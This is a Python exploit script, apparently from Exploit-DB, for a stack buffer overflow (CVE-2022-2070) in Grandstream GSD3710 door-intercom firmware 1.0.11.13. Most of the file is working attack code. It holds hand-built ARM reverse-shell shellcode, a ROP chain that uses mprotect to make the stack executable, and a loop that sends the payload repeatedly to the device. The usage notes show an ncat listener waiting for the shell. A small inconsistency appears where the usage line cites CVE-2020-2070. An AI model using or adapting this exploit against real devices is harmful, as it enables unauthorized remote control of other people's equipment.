#!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer #!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

Terminal 1:
$ ncat -lnvp 4444

Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""

from operator import ge
import sys
import time
from pwn import *

import argparse


def get_args():
parser = argparse.ArgumentParser(
formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
prog, max_help_position=50))

# Add arguments
parser.add_argument('-ti', '--target_ip', type=str, required=True,
help='device IP address', dest="device_ip")
parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
help='device port', dest="device_port")
parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
help='reverse IP address', dest="reverse_ip")
parser.add_argument('-rp', '--reverse_port', type=int, required=True,
help='reverse port', dest="reverse_port")

# Array for all arguments passed to script
args = parser.parse_args()

try:
TI = args.device_ip
TP = args.device_port
RI = args.reverse_ip
RP = args.reverse_port

return TI, TP, RI, RP
except ValueError:
exit()


def check_badchars(data):
for i in range(len(data)):
if data[i] in [0x0, 0x40]:
log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
return True
return False


def get_shellcode(ip, port):
ip_bytes = socket.inet_aton(ip)
port_bytes = struct.pack(">H", port)

# Linux ARM reverse shell

# switch to thumb mode
sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1
sc += b"\x13\xFF\x2F\xE1" # bx r3

# socket(2, 1, 0)
sc += b"\x02\x20" # movs r0, #2
sc += b"\x01\x21" # movs r1, #1
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\xC8\x27" # movs r7, #0xc8
sc += b"\x51\x37" # adds r7, #0x51
sc += b"\x01\xDF" # svc #1
sc += b"\x04\x1C" # adds r4, r0, #0

# connect(r0, &sockaddr, 16)
sc += b"\x0C\xA1" # adr r1, #0x30
sc += b"\x4A\x70" # strb r2, [r1, #1]
sc += b"\x10\x22" # movs r2, #0x10
sc += b"\x02\x37" # adds r7, #2
sc += b"\x01\xDF" # svc #1

# dup2(sockfd, 0)
sc += b"\x3F\x27" # movs r7, #0x3f
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\xDF" # svc #1

# dup2(sockfd, 1)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x01\x21" # movs r1, #1
sc += b"\x01\xDF" # svc #1

# dup2(sockfd, 2)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x02\x21" # movs r1, #2
sc += b"\x01\xDF" # svc #1

# execve("/bin/sh")
sc += b"\x06\xA0" # adr r0, #0x18
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\x91" # str r1, [sp, #4]
sc += b"\x02\x91" # str r1, [sp, #8]
sc += b"\x01\x90" # str r0, [sp, #4]
sc += b"\x01\xA9" # add r1, sp, #4
sc += b"\xC2\x71" # strb r2, [r0, #7]
sc += b"\x0B\x27" # movs r7, #0xb
sc += b"\x01\xDF" # svc #1

sc += b"\x02\xFF"
sc += port_bytes
sc += ip_bytes
sc += b"/bin/shX"

return sc


def main():
ti, tp, ri, rp = get_args()

# ROP Gadgets

libc_base = 0x76ec1000

mprotect = libc_base + 0x93510+1
pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc}
pop_pc = libc_base + 0xd7515 # pop {pc}
pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc}

pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc}
add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
# 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
mov_r0_r1 = libc_base + 0x0002f83d
# 0x0006a086 (0x0006a087): pop {r1, pc}
pop_r1 = libc_base + 0x6a087
ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr
# 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
mov_r4_r0 = libc_base + 0x000a3a42+1
# 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
movs_r1_r0 = libc_base + 0x0001fdaf

and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr
movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr
mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr
blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp

shellcode = get_shellcode(ri, rp)

auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
junk = p32(0x43434343)

payload = auth_command
payload += b"A" * 144

# The goal is that R0 -> SP

# R5 = pop {pc}
# because in the the next gadget we have a blx r5
payload += p32(pop_r5)
payload += p32(pop_pc) # R5 = pop {pc}

# R1 = SP ; BLX pop {pc}
payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5

# Restore LR register (because it has been updated by the last BLX gadget)
payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
payload += junk*4 # r0, r4, r8, ip
payload += p32(pop_pc) # LR = pop {pc}

# R0 = stack address
payload += p32(mov_r0_r1) # mov r0, r1; bx lr

# R1 = mask page align
payload += p32(pop_r1) # pop {r1, pc}
payload += p32(0xfffe1001)

# R0 = stack address & 0xfffe1001
payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr
# R4 = R0
payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr
payload += junk # r1

# mprotect params
# r0 = shellcode page aligned address
# r1 = size(ofshellcode)
# r2 = protection (0x7 ? RWX)

# R2 = 0x7
payload += p32(pop_r0)
payload += p32(0x07070707)
payload += p32(and_r0_f) # R0 = 7 (RWX)
payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX)

# R1 = length = 0x10101010 (avoid 0's)
payload += p32(pop_r0)
payload += p32(0x01010101)
payload += p32(movs_r1_r0) # r1 (length: 0x10101010)

# R0 = stack address 4k aligned
payload += p32(mov_r0_r4)

# mprotect(stack, 0x10101010, 0x7)
payload += p32(mprotect)
payload += p32(blx_sp) # ejecutamos en pila
payload += shellcode # shellcode

if check_badchars(payload[len(auth_command):]):
sys.exit(0)

log.info("Device IP: %s:%d" % (ti, tp))
log.info("Attacker IP: %s:%d" % (ri, rp))
log.info("Payload len: %d" % len(payload))

count = 1

while True:
try:
print('Try: %d' % count)
r = remote(ti, tp)
r.send(payload)
log.success("Payload sent!")
# r.close()
time.sleep(1)
count += 1
except:
sleep(3)
pass


if __name__ == '__main__':
main()